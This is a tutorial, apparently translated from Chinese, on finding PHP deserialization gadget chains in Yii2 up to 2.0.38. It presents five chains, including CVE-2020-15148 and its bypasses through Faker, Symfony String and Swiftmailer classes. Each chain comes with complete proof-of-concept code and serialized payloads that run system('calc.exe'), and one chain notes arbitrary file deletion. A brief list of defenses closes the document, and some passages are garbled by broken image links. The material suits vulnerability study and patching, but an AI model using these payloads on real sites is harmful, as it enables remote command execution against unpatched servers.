Learning ideas of YII deserialization chain:
The first choice to learn deserialization is to find the chain in the yii framework. This is also a simple and slightly clear reproduction attempt to summarize the chains dug by other bosses
Article 1: CVE-2020-15148 (0day)
Idea:
First, we must construct a chain according to a deserialized point. At present, only__ destruct and__ wakeup these two magic methods can be used
Magic method__ destruct, called before the object is destroyed. From the perspective of system structure, the most common scenario is to turn off some functions. For example, close file stream, update data, etc. However, from the perspective of deserialization, its special use scenario represents that other methods in the class may be called in this method.
Start with the results:
<?php namespace yii\rest{ class IndexAction { public $checkAccess; public $id; public function __construct() { $this->checkAccess="system"; $this->id="calc.exe"; } } } namespace yii\web{ use yii\rest\IndexAction; class DbSession { protected $fields = []; public $writeCallback; public function __construct() { $this->writeCallback=[(new IndexAction),"run"]; $this->fields['1'] = 'aaa'; } } } namespace yii\db { use yii\web\DbSession; class BatchQueryResult { private $_dataReader; public function __construct() { $this->_dataReader=new DbSession(); } } } namespace { $exp=print(urlencode(serialize(new yii\db\BatchQueryResult()))); } ?>
Directly decode the result url of chain serialization, and the result is as follows:
O:23:"yii\db\BatchQueryResult":1:{s:36:"yii\db\BatchQueryResult_dataReader";O:17:"yii\web\DbSession":2:{s:9:"*fields";a:1:{i:1;s:3:"aaa";}s:13:"writeCallback";a:2:{i:0;O:20:"yii\rest\IndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}
- The basic preliminary characteristics of the statement are as follows:
- Call class + parameter [assignment] in class + call class in magic method
- When calling, specify the namespace and call the specified function
It is not difficult to see that serialization is from back to front, and so is the actual call. In order to declare the function in advance, write poc in reverse.
analysis:
Step 1: the vulnerability patch is added in BatchQueryResult.php__ The wakeup function prevents deserialization and locates directly
Called when BatchQueryResult.php is destroyed__ The destroy function calls the reset method. If the dataReader is defined at this time, the close method will be called.
Namespace: namespace yii\db;
Step 2: search the close method globally and narrow the scope through the namespace yii\web in the chain
You can see that only two files marked in red are DbSession and Session, which may meet the requirements. The specified location was found
Session:
DbSession:
It is necessary to judge getIsActive in the Session as follows:
#### Official session_ The return value of status() is: - PHP_SESSION_DISABLED ` Session is disabled. - PHP_SESSION_NONE` The session is enabled, but there is no current session. - PHP_SESSION_ACTIVE` Session is enabled and there is a current session
So here constant is true, which can be judged by if.
And session_status is used to solve the session blocking mechanism to close the current session conversation. Therefore, it must not be used, so the session is excluded
Namespace: namespace yii\web
Step 3: find composeFields, MultiFieldSession.php
Only one DbSession is excluded, as follows:
You can see an incoming callback function to call_user_func, but we can't control the parameters inside. You can assign an array such as [(new test), "aaa"] as the callback function, and you can call the aaa public method in the test class.
Namespace: namespace yii\web
Step 4: find a controllable public method [(new IndexAction), "run"] through which you can judge that it is the run method in IndexAction
There is only one, and the relevant codes are as follows and fully controllable
Namespace: namespace yii\rest
Summary chain sequence:
Article 2: CVE-2020-15148 second bypass idea (_call)
Similarly, the chain and the decoded serialization are given first
<?php namespace yii\rest{ class IndexAction { public $checkAccess; public $id; public function __construct() { $this->checkAccess="system"; $this->id="calc.exe"; } } } namespace Faker{ use yii\rest\IndexAction; class Generator{ protected $formatters = array(); public function __construct() { $this->formatters['close']=[new IndexAction,"run"]; } } } namespace yii\db { use Faker\Generator; class BatchQueryResult { private $_dataReader; public function __construct() { $this->_dataReader=new Generator(); } } } namespace { $exp=print(urlencode(serialize(new yii\db\BatchQueryResult()))); }
O:23:"yii\db\BatchQueryResult":1: {s:36:"yii\db\BatchQueryResult_dataReader";O:15:"Faker\Generator":1: {s:13:"*formatters";a:1:{s:5:"close";a:2:{i:0;O:20:"yii\rest\IndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}}
analysis:
Step 1: in BatchQueryResult.php as in the first chain
Namespace: namespace yii\db;
Step 2: since you want to use__ call, then search globally (find the class without the close() method) Generator.php
In fact, many of them may be appropriate, but only the chain is reproduced here. In Generator.php__ Both parameters of the call method are controllable
Namespace: namespace Faker
#__ call method When the called method does not exist or the permission is insufficient, the method is automatically triggered, so you can find and call it directly here( format)And pass the parameter assignment in advance
Step 3: full text tracking format in the current file and subsequent steps
It can be seen that the format in Generator.php calls the method call_user_func_array to receive getFormatter and parameters. The parameters in the formatters in getFormatter can be controlled, so you can use the call_user_func found in the first chain to execute the specified command
Namespace: namespace Faker
Step 4: use the call_user_func in the run function to execute the command, IndexAction.php
Namespace: namespace yii\rest
Summary chain sequence:
Article 3: _wakeup direction
<?php namespace yii\rest{ class IndexAction { public $checkAccess; public $id; public function __construct() { $this->checkAccess="system"; $this->id="calc.exe"; } } } namespace Symfony\Component\String{ use yii\rest\IndexAction; class LazyString{ private $value; public function __construct() { $this->value=[new IndexAction,"run"]; } } class UnicodeString{ protected $string = ''; public function __construct() { $this->string=new LazyString; } } } namespace { $exp=print(urlencode(serialize(new Symfony\Component\String\UnicodeString()))); }
O:38:"SymfonyComponentStringUnicodeString":1:{s:9:"*string";O:35:"SymfonyComponentStringLazyString":1:{s:42:"SymfonyComponentStringLazyStringvalue";a:2:{i:0;O:20:"yiirestIndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}
Analysis: _wakeup() is a function that is automatically called after an inverse sequence.
Step 1: _wakeup, Unicode string.php
The string here is controllable. The first parameter is required to be of string type, so we can find the available _tostringmethod
Namespace: namespace Symfony\Component\String;
Step 2: LazyString.php:96. You can see that if the is_string fails, the value method will be called. Without parameters, you can use the previous run method
Namespace: namespace Symfony\Component\String;
Step 3: use the call_user_func in the run function to execute the command, IndexAction.php
Namespace: namespace yii\rest
Summary chain sequence:
Article 4: the analysis sequence is the same as before
<?phpnamespace yii\rest{ class IndexAction { public $checkAccess; public $id; public function __construct() { $this->checkAccess="system"; $this->id="calc.exe"; } }}namespace Symfony\Component\String{ use yii\rest\IndexAction; class LazyString{ private $value; public function __construct() { $this->value=[new IndexAction,"run"]; } }}namespace { use Symfony\Component\String\LazyString; class Swift_ByteStream_FileByteStream{ private $path; public function __construct() { $this->path=new LazyString(); } } class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream{ } $exp=print(urlencode(serialize(new Swift_ByteStream_TemporaryFileByteStream())));}
O:40:"Swift_ByteStream_TemporaryFileByteStream":1:{s:37:"Swift_ByteStream_FileByteStreampath";O:35:"Symfony\Component\String\LazyString":1:{s:42:"Symfony\Component\String\LazyStringvalue";a:2:{i:0;O:20:"yii\rest\IndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}
analysis:
Step 1: _destruct, TemporaryFileByteStream.php, and find the getPath in its inherited FileByteStream class
The path is controllable and can cause any file to be deleted
The file paths are:
/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php
/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/FileByteStream.php
Step 2: since getPath is controllable and file_exists requires string type parameters, you can continue the previous path to LazyString.php
Namespace: namespace Symfony\Component\String;
Step 3: use the call_user_func in the run function to execute the command, IndexAction.php
Namespace: namespace yii\rest
Summary chain sequence:
Article 5:
<?phpnamespace yii\rest{ class IndexAction { public $checkAccess; public $id; public function __construct() { $this->checkAccess="system"; $this->id="calc.exe"; } }}namespace Faker{ use yii\rest\IndexAction; class Generator{ protected $formatters = array(); public function __construct() { $this->formatters['createTransportChangeEvent']=[new IndexAction,"run"]; } }}namespace { use Faker\Generator; abstract class Swift_Transport_AbstractSmtpTransport{} class Swift_Transport_SendmailTransport extends Swift_Transport_AbstractSmtpTransport { protected $started; protected $eventDispatcher; public function __construct() { $this->started = True; $this->eventDispatcher = new Generator(); } } $exp=print(urlencode(serialize(new Swift_Transport_SendmailTransport())));}
O:33:"Swift_Transport_SendmailTransport":2:{s:10:"*started";b:1;s:18:"*eventDispatcher";O:15:"Faker\Generator":1:{s:13:"*formatters";a:1:{s:26:"createTransportChangeEvent";a:2:{i:0;O:20:"yii\rest\IndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}}
analysis:
Step one: the __destruct function starts calling stop in AbstractSmtpTransport.php.
Find the stop function in the file
The eventDispatcher is controllable, so the _call method is used
Step 2: Generator.php
Namespace: namespace Faker
Step 3: full text tracking format in the current file and subsequent steps
[external chain image transfer failed, and the source station may have anti-theft chain mechanism. It is recommended to save the image and upload it directly (img-8rfn98ft-1634148188381) (C: / users / Legion / appdata / roaming / typora / typora user images /!% 5B% 5D (HTTPS: / P1. SSL. Qhimg. COM / t019077b3c080dcfe96. PNG)]375.png)
It can be seen that the format in Generator.php calls the method call_user_func_array to receive getFormatter and parameters. The parameters in the formatters in getFormatter can be controlled, so you can use the call_user_func found in the first chain to execute the specified command
Namespace: namespace Faker
Step 4: use the call_user_func in the run function to execute the command, IndexAction.php
Namespace: namespace yii\rest
Summary chain sequence:
defense
- Authentication: the deserialization interface is used for authentication, which can only be called by authorized personnel such as background administrators
- Whitelist, restrict deserialized classes
- RASP (runtime application self protection) detection
- When writing to dynamic calls and dangerous functions, be sure to backtrack variables and methods. See if the variable is controllable.
- When allowed, dynamic calls using static attributes can prevent controllable variables from calling dangerous functions.
- Before calling a similar structure like $this - > AAA - > BBB (), you can use instanceof to check whether it is the class you want to call.
Other points to note: the following items have been repaired. Only the version number yii2 < = 2.0.38 can be reproduced successfully
I believe that if you can patiently try it again, you can easily dig out your chain in the future.